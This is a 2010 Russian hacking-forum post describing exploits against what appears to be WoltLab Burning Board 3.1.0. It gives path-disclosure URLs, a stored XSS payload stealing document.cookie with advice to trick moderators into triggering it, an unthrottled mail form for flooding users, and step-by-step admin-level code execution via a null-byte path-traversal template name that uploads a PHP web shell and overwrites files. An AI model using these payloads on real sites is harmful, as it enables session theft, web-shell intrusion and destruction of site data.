ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #16  
Старый 24.01.2010, 21:12
Аватар для mr.The
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940

Репутация: 1257


Отправить сообщение для mr.The с помощью ICQ
По умолчанию

Версия: 3.1.0 PL1, возможно другие.

Раскрытие путей:
1) http://site/path/index.php?form=NewPassword&action=new&u=1&k[]=
2) http://site/path/index.php?form=UserLogin&s[]=
Эти параметры уязвимы и вызывают раскрытие и в других местах.

Активная xss:
Создаём тему\пост, в нём картинку: [img]javascript:alert(document.cookie)[/img]
Далее нужно любого юзера\модератора\администр атора заставить отредактировать\цитировать ваш пост. Тут требуется немного СИ, но в целом - не сложно. Нажав копку "edit" он увидит алерт со своими печеньками.

Проверенно работает в Opera и IE в FF не сработало.


Фича:
Возможность проспамить\зафлудить e-mail любого пользователя, нету ограничений на отправку.
http://site/path/index.php?form=Mail&userID=1

Выполнение произвольного кода и недокументированная возможность редактирования стандартных тем:
Требуются права админа.
Итак, логинимся под админом, переходим
Design -> Templates -> Add new template pack
Там вбиваем:
Template pack name - "/"
Template pack folder name - "/"
(без кавычек)

Далее переходим в List Templates и выбираем наш "/".
Нажимаем "Add new template".

Вбиваем:
Template source code - любой php код, напимер шелл.
Template name например shell.php

А теперь внимание - финт ушами. Нам понадобиться FireFox и его дополнение Tamper Data:
Включаем перехват, нажимаем в форме "Submit" и в Tamper Data правим параметр "templateName" заменяя его значение на что-то вроде
Код:
../shell.php%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA%00AA
где ../shell.php путь к создаваемому файлу относительно папки templates.
Вот и всё, шелл залит. Да, и файлы - перезаписываются. Пока тестил случайно удалил index.php. Так-то.

К слову, если вместо shell.php писать просто index, то мы перезапишем стандартный шаблон, что является не документированным и по умолчанию запрещённым.



ps. возможно, будет дополняться.

Последний раз редактировалось mr.The; 25.01.2010 в 19:14..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Поиск уязвимостей в Burning Board GrAmOzEkA Болталка 2 25.07.2008 22:02
Woltlab Burning Board 2.3.6 (Null) ~!DoK_tOR!~ ПО для Web разработчика 5 24.05.2007 11:30
WoltLab Burning Board 2.2 - что за крепость, и есть ли уязвимости? Anti Форумы 8 13.06.2006 16:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ